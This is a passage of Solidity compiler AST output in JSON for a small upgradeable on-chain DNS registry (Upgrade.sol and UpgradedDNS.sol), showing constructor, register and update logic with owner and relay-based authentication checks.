upgrade."},"id":2024,"name":"StructuredDocumentation","src":"3755:57:6"},{"attributes":{"parameters":[null]},"children":[],"id":2025,"name":"ParameterList","src":"3837:2:6"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":2049,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":2026,"name":"ElementaryTypeName","src":"3861:4:6"}],"id":2027,"name":"VariableDeclaration","src":"3861:4:6"}],"id":2028,"name":"ParameterList","src":"3860:6:6"},{"children":[{"attributes":{"assignments":[2030]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"l","scope":2048,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":2029,"name":"ElementaryTypeName","src":"3871:4:6"}],"id":2030,"name":"VariableDeclaration","src":"3871:6:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":2031,"name":"Identifier","src":"3880:8:6"}],"id":2032,"name":"MemberAccess","src":"3880:15:6"}],"id":2033,"name":"VariableDeclarationStatement","src":"3871:24:6"},{"attributes":{"functionReturnParameters":2028},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":">","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2030,"type":"uint256","value":"l"},"id":2034,"name":"Identifier","src":"3906:1:6"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":2035,"name":"Literal","src":"3910:1:6"}],"id":2036,"name":"BinaryOperation","src":"3906:5:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":">","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"when","referencedDeclaration":1737,"type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct Upgrade.UpgradeConfig storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1744,"type":"struct Upgrade.UpgradeConfig storage ref[] storage ref","value":"upgrades"},"id":2037,"name":"Identifier","src":"3915:8:6"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"-","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2030,"type":"uint256","value":"l"},"id":2038,"name":"Identifier","src":"3924:1:6"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":2039,"name":"Literal","src":"3928:1:6"}],"id":2040,"name":"BinaryOperation","src":"3924:5:6"}],"id":2041,"name":"IndexAccess","src":"3915:15:6"}],"id":2042,"name":"MemberAccess","src":"3915:20:6"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"timestamp","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-4,"type":"block","value":"block"},"id":2043,"name":"Identifier","src":"3938:5:6"}],"id":2044,"name":"MemberAccess","src":"3938:15:6"}],"id":2045,"name":"BinaryOperation","src":"3915:38:6"}],"id":2046,"name":"BinaryOperation","src":"3906:47:6"}],"id":2047,"name":"Return","src":"3899:54:6"}],"id":2048,"name":"Block","src":"3867:90:6"}],"id":2049,"name":"FunctionDefinition","src":"3814:143:6"}],"id":2050,"name":"ContractDefinition","src":"300:3659:6"}],"id":2051,"name":"SourceUnit","src":"36:3924:6"}},"src/UpgradedDNS.sol":{"AST":{"attributes":{"absolutePath":"src/UpgradedDNS.sol","exportedSymbols":{"IDNS":[1462],"Upgrade":[2050],"UpgradedDNS":[2303]},"license":"GPL-v3"},"children":[{"attributes":{"literals":["solidity","^","0.7",".0"]},"id":2052,"name":"PragmaDirective","src":"36:23:7"},{"attributes":{"literals":["experimental","ABIEncoderV2"]},"id":2053,"name":"PragmaDirective","src":"60:33:7"},{"attributes":{"SourceUnit":1463,"absolutePath":"src/IDNS.sol","file":"./IDNS.sol","scope":2304,"symbolAliases":[null],"unitAlias":""},"id":2054,"name":"ImportDirective","src":"95:20:7"},{"attributes":{"SourceUnit":2051,"absolutePath":"src/Upgrade.sol","file":"./Upgrade.sol","scope":2304,"symbolAliases":[null],"unitAlias":""},"id":2055,"name":"ImportDirective","src":"116:23:7"},{"attributes":{"abstract":false,"contractDependencies":[1462],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[2303,1462],"name":"UpgradedDNS","scope":2304},"children":[{"attributes":{"text":"@title Example of an upgraded implementation of a DNS.\n @notice As suggested by DNS.sol, the functions of this contract\n check whether\n msg.sender == tx.origin or\n msg.sender is the original DNS contract or\n msg.sender is an upgrade that the user trusted at some point.\n for authentication.\n The idea is that\n 1. the user either called this contract directly (direct authentication via msg.sender) or\n 2. the call was relayed by the original DNS contract (authentication was performed there) or\n 3. the call was relayed by another upgrade that the entry owner trusted."},"id":2056,"name":"StructuredDocumentation","src":"141:603:7"},{"attributes":{},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":2057,"name":"UserDefinedTypeName","src":"768:4:7"}],"id":2058,"name":"InheritanceSpecifier","src":"768:4:7"},{"attributes":{"constant":false,"mutability":"mutable","name":"data","scope":2303,"stateVariable":true,"storageLocation":"default","type":"mapping(string => struct IDNS.Entry)","visibility":"internal"},"children":[{"attributes":{"type":"mapping(string => struct IDNS.Entry)"},"children":[{"attributes":{"name":"string","type":"string"},"id":2059,"name":"ElementaryTypeName","src":"785:6:7"},{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":2060,"name":"UserDefinedTypeName","src":"795:5:7"}],"id":2061,"name":"Mapping","src":"776:25:7"}],"id":2062,"name":"VariableDeclaration","src":"776:30:7"},{"attributes":{"constant":false,"functionSelector":"9735009b","mutability":"immutable","name":"originalDNS","scope":2303,"stateVariable":true,"storageLocation":"default","type":"contract IDNS","visibility":"public"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":2063,"name":"UserDefinedTypeName","src":"810:4:7"}],"id":2064,"name":"VariableDeclaration","src":"810:33:7"},{"attributes":{"constant":false,"functionSelector":"0528b345","mutability":"immutable","name":"upgradeInfo","scope":2303,"stateVariable":true,"storageLocation":"default","type":"contract Upgrade","visibility":"public"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":2065,"name":"UserDefinedTypeName","src":"846:7:7"}],"id":2066,"name":"VariableDeclaration","src":"846:36:7"},{"attributes":{"implemented":true,"isConstructor":true,"kind":"constructor","modifiers":[null],"name":"","scope":2303,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_dns","scope":2086,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":2067,"name":"UserDefinedTypeName","src":"898:4:7"}],"id":2068,"name":"VariableDeclaration","src":"898:9:7"},{"attributes":{"constant":false,"mutability":"mutable","name":"_info","scope":2086,"stateVariable":false,"storageLocation":"default","type":"contract Upgrade","visibility":"internal"},"children":[{"attributes":{"name":"Upgrade","referencedDeclaration":2050,"type":"contract Upgrade"},"id":2069,"name":"UserDefinedTypeName","src":"909:7:7"}],"id":2070,"name":"VariableDeclaration","src":"909:13:7"}],"id":2071,"name":"ParameterList","src":"897:26:7"},{"attributes":{"parameters":[null]},"children":[],"id":2072,"name":"ParameterList","src":"924:0:7"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract IDNS"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2064,"type":"contract IDNS","value":"originalDNS"},"id":2073,"name":"Identifier","src":"928:11:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":2074,"name":"Identifier","src":"942:4:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2068,"type":"contract IDNS","value":"_dns"},"id":2075,"name":"Identifier","src":"947:4:7"}],"id":2076,"name":"FunctionCall","src":"942:10:7"}],"id":2077,"name":"Assignment","src":"928:24:7"}],"id":2078,"name":"ExpressionStatement","src":"928:24:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract Upgrade"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2066,"type":"contract Upgrade","value":"upgradeInfo"},"id":2079,"name":"Identifier","src":"956:11:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract Upgrade","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_Upgrade_$2050","typeString":"contract Upgrade"}],"overloadedDeclarations":[null],"referencedDeclaration":2050,"type":"type(contract Upgrade)","value":"Upgrade"},"id":2080,"name":"Identifier","src":"970:7:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2070,"type":"contract Upgrade","value":"_info"},"id":2081,"name":"Identifier","src":"978:5:7"}],"id":2082,"name":"FunctionCall","src":"970:14:7"}],"id":2083,"name":"Assignment","src":"956:28:7"}],"id":2084,"name":"ExpressionStatement","src":"956:28:7"}],"id":2085,"name":"Block","src":"924:64:7"}],"id":2086,"name":"FunctionDefinition","src":"886:102:7"},{"attributes":{"baseFunctions":[1435],"functionSelector":"89404978","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"register","scope":2303,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":2094,"name":"OverrideSpecifier","src":"1069:8:7"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":2149,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":2087,"name":"ElementaryTypeName","src":"1009:6:7"}],"id":2088,"name":"VariableDeclaration","src":"1009:21:7"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":2149,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":2089,"name":"ElementaryTypeName","src":"1032:6:7"}],"id":2090,"name":"VariableDeclaration","src":"1032:10:7"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":2149,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2091,"name":"ElementaryTypeName","src":"1044:7:7"}],"id":2092,"name":"VariableDeclaration","src":"1044:14:7"}],"id":2093,"name":"ParameterList","src":"1008:51:7"},{"attributes":{"parameters":[null]},"children":[],"id":2095,"name":"ParameterList","src":"1078:0:7"},{"children":[{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e","typeString":"literal_string \"Invalid ip.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":2096,"name":"Identifier","src":"1082:7:7"},{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2090,"type":"bytes4","value":"_ip"},"id":2097,"name":"Identifier","src":"1090:3:7"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":2098,"name":"Literal","src":"1097:1:7"}],"id":2099,"name":"BinaryOperation","src":"1090:8:7"},{"attributes":{"hexvalue":"496e76616c69642069702e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid ip.\"","value":"Invalid ip."},"id":2100,"name":"Literal","src":"1100:13:7"}],"id":2101,"name":"FunctionCall","src":"1082:32:7"}],"id":2102,"name":"ExpressionStatement","src":"1082:32:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_72301f333e9c6369f582d6ed0c62433b919531b006491d7068fd9dc5b3b5dced","typeString":"literal_string \"Invalid domain.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":2103,"name":"Identifier","src":"1118:7:7"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":">","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"length","type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bytes memory","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(bytes storage pointer)"},"children":[{"attributes":{"name":"bytes"},"id":2104,"name":"ElementaryTypeName","src":"1126:5:7"}],"id":2105,"name":"ElementaryTypeNameExpression","src":"1126:5:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2088,"type":"string memory","value":"_domain"},"id":2106,"name":"Identifier","src":"1132:7:7"}],"id":2107,"name":"FunctionCall","src":"1126:14:7"}],"id":2108,"name":"MemberAccess","src":"1126:21:7"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":2109,"name":"Literal","src":"1150:1:7"}],"id":2110,"name":"BinaryOperation","src":"1126:25:7"},{"attributes":{"hexvalue":"496e76616c696420646f6d61696e2e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid domain.\"","value":"Invalid domain."},"id":2111,"name":"Literal","src":"1153:17:7"}],"id":2112,"name":"FunctionCall","src":"1118:53:7"}],"id":2113,"name":"ExpressionStatement","src":"1118:53:7"},{"attributes":{"assignments":[2115]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":2148,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":2114,"name":"UserDefinedTypeName","src":"1176:5:7"}],"id":2115,"name":"VariableDeclaration","src":"1176:19:7"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2062,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":2116,"name":"Identifier","src":"1198:4:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2088,"type":"string memory","value":"_domain"},"id":2117,"name":"Identifier","src":"1203:7:7"}],"id":2118,"name":"IndexAccess","src":"1198:13:7"}],"id":2119,"name":"VariableDeclarationStatement","src":"1176:35:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cf4795eecd9c709705bcc58cb66aa65b7544ae178f3f46e39cf23a0a32f659e8","typeString":"literal_string \"Domain already taken.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":2120,"name":"Identifier","src":"1215:7:7"},{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2115,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2121,"name":"Identifier","src":"1223:5:7"}],"id":2122,"name":"MemberAccess","src":"1223:8:7"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":2123,"name":"Literal","src":"1235:1:7"}],"id":2124,"name":"BinaryOperation","src":"1223:13:7"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2115,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2125,"name":"Identifier","src":"1240:5:7"}],"id":2126,"name":"MemberAccess","src":"1240:11:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":2127,"name":"ElementaryTypeName","src":"1255:7:7"}],"id":2128,"name":"ElementaryTypeNameExpression","src":"1255:7:7"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":2129,"name":"Literal","src":"1263:1:7"}],"id":2130,"name":"FunctionCall","src":"1255:10:7"}],"id":2131,"name":"BinaryOperation","src":"1240:25:7"}],"id":2132,"name":"BinaryOperation","src":"1223:42:7"},{"attributes":{"hexvalue":"446f6d61696e20616c72656164792074616b656e2e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Domain already taken.\"","value":"Domain already taken."},"id":2133,"name":"Literal","src":"1267:23:7"}],"id":2134,"name":"FunctionCall","src":"1215:76:7"}],"id":2135,"name":"ExpressionStatement","src":"1215:76:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2115,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2136,"name":"Identifier","src":"1296:5:7"}],"id":2138,"name":"MemberAccess","src":"1296:8:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2090,"type":"bytes4","value":"_ip"},"id":2139,"name":"Identifier","src":"1307:3:7"}],"id":2140,"name":"Assignment","src":"1296:14:7"}],"id":2141,"name":"ExpressionStatement","src":"1296:14:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2115,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2142,"name":"Identifier","src":"1314:5:7"}],"id":2144,"name":"MemberAccess","src":"1314:11:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2092,"type":"address","value":"_owner"},"id":2145,"name":"Identifier","src":"1328:6:7"}],"id":2146,"name":"Assignment","src":"1314:20:7"}],"id":2147,"name":"ExpressionStatement","src":"1314:20:7"}],"id":2148,"name":"Block","src":"1078:260:7"}],"id":2149,"name":"FunctionDefinition","src":"991:347:7"},{"attributes":{"baseFunctions":[1443],"functionSelector":"f7a46696","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"update","scope":2303,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":2155,"name":"OverrideSpecifier","src":"1401:8:7"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":2200,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":2150,"name":"ElementaryTypeName","src":"1357:6:7"}],"id":2151,"name":"VariableDeclaration","src":"1357:21:7"},{"attributes":{"constant":false,"mutability":"mutable","name":"_ip","scope":2200,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":2152,"name":"ElementaryTypeName","src":"1380:6:7"}],"id":2153,"name":"VariableDeclaration","src":"1380:10:7"}],"id":2154,"name":"ParameterList","src":"1356:35:7"},{"attributes":{"parameters":[null]},"children":[],"id":2156,"name":"ParameterList","src":"1410:0:7"},{"children":[{"attributes":{"assignments":[2158]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":2199,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":2157,"name":"UserDefinedTypeName","src":"1414:5:7"}],"id":2158,"name":"VariableDeclaration","src":"1414:19:7"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2062,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":2159,"name":"Identifier","src":"1436:4:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2151,"type":"string memory","value":"_domain"},"id":2160,"name":"Identifier","src":"1441:7:7"}],"id":2161,"name":"IndexAccess","src":"1436:13:7"}],"id":2162,"name":"VariableDeclarationStatement","src":"1414:35:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963","typeString":"literal_string \"Not the owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":2163,"name":"Identifier","src":"1621:7:7"},{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"||","type":"bool"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":2164,"name":"Identifier","src":"1634:3:7"}],"id":2165,"name":"MemberAccess","src":"1634:10:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"origin","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-26,"type":"tx","value":"tx"},"id":2166,"name":"Identifier","src":"1648:2:7"}],"id":2167,"name":"MemberAccess","src":"1648:9:7"}],"id":2168,"name":"BinaryOperation","src":"1634:23:7"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2158,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2169,"name":"Identifier","src":"1661:5:7"}],"id":2170,"name":"MemberAccess","src":"1661:11:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":2171,"name":"Identifier","src":"1676:3:7"}],"id":2172,"name":"MemberAccess","src":"1676:10:7"}],"id":2173,"name":"BinaryOperation","src":"1661:25:7"}],"id":2174,"name":"BinaryOperation","src":"1634:52:7"}],"id":2175,"name":"TupleExpression","src":"1633:54:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[null],"referencedDeclaration":2281,"type":"function (address,address) view returns (bool)","value":"isPreviousTrustedDNS"},"id":2176,"name":"Identifier","src":"1691:20:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":2177,"name":"Identifier","src":"1712:3:7"}],"id":2178,"name":"MemberAccess","src":"1712:10:7"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2158,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2179,"name":"Identifier","src":"1724:5:7"}],"id":2180,"name":"MemberAccess","src":"1724:11:7"}],"id":2181,"name":"FunctionCall","src":"1691:45:7"}],"id":2182,"name":"BinaryOperation","src":"1633:103:7"},{"attributes":{"hexvalue":"4e6f7420746865206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Not the owner.\"","value":"Not the owner."},"id":2183,"name":"Literal","src":"1741:16:7"}],"id":2184,"name":"FunctionCall","src":"1621:140:7"}],"id":2185,"name":"ExpressionStatement","src":"1621:140:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e","typeString":"literal_string \"Invalid ip.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":2186,"name":"Identifier","src":"1766:7:7"},{"attributes":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2153,"type":"bytes4","value":"_ip"},"id":2187,"name":"Identifier","src":"1774:3:7"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 